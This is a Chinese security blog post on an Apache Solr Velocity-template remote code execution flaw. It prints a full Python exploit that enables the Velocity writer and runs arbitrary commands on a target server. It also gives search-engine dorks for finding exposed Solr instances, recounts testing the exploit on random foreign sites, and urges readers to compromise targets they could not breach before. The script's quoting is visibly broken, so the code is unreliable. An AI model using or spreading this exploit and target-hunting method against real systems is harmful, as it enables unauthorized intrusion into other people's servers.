Apache Solr最新RCE批量验证

2019-11-08 6,603

关于漏洞详情,见Freebuf文章:

https://www.freebuf.com/vuls/218730.html


批量利用

https://github.com/k8gege/SolrExp

SolrExp

Apache Solr <= 8.2.0 0day漏洞(速度)

用法

别名:python exp.py url cmd
或Cscan url

批量C段:Cscan 192.168.1.8/24
批量URL:Cscan(同目录放url.txt)

CSscan下载地址:https://github.com/k8gege/K8CScan

EXP来源:Github&k8gege,喜欢记得点个star!


Github上的下载回来如果运行报错,可以用下下面的这个


脚本修改,支持python3:

import requests
import json
import sys
# C:UsersnullDesktopSolr0day>python exp.py http://192.168.1.26:8983 whoami
# Apache Solr Template 0day Exploit by k8gege
# Upconfig: http://192.168.1.26:8983/solr/k8/config
# ExecCmd: 0 win-4udh62v7dmnnull

def getname(url):
    url += "/solr/admin/cores?wt=json&indexInfo=false"
    conn = requests.request("GET", url=url)
    name = "test"
    try:
        name = list(json.loads(conn.text)["status"])[0]
    except:
        pass
    return name


def upconfig(url, name):

    url += "/solr/"+name+"/config"
    print ("Upconfig: ", url)
    headers = {"Content-Type": "application/json"}
    post_data = """
    {
      "
update-queryresponsewriter": {
        "
startup": "lazy",
        "
name": "velocity",
        "
class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    """
    conn = requests.request("
POST", url, data=post_data, headers=headers)
    if conn.status_code != 200:
        print ("
Upconfig error: ", conn.status_code)
        sys.exit(1)


def poc(url,cmd):
    core_name = getname(url)
    upconfig(url, core_name)
    url += "
/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    conn = requests.request("
GET", url)
    print ("
ExecCmd: "+conn.text)


if __name__ == '__main__':
    print "
Apache Solr Template 0day Exploit by k8gege"
    url = sys.argv[1]
    cmd = sys.argv[2]
    poc(url,cmd)

其实就是在print后面加了()


如何验证

Google语法:

intitle:"Solr Admin" "Solr Query Syntax"

intitle:"Solr Admin" "Core Admin" "Thread Dump"

上Google随便找了几个国外的站点,均可成功,可以自己去验证下

或者其他空间搜索引擎[fofa,zoomeye,shodan]均可,利用title或者端口的语法去搜索


之前干不下的项目,如果存在该漏洞,可以去秒他了,祝好运

希望部署了该项目的公司可以自查下,尽快修复或者临时关闭对外开放

工具参考来源:Github/K8gege

漏洞验证文章参考来源:Freebuf

本文作者:HACK_Learn

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/117813.html

Tags:
评论  (0)
快来写下你的想法吧!

HACK_Learn

文章数:142 积分: 323

微信公众号:HACK学习呀

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号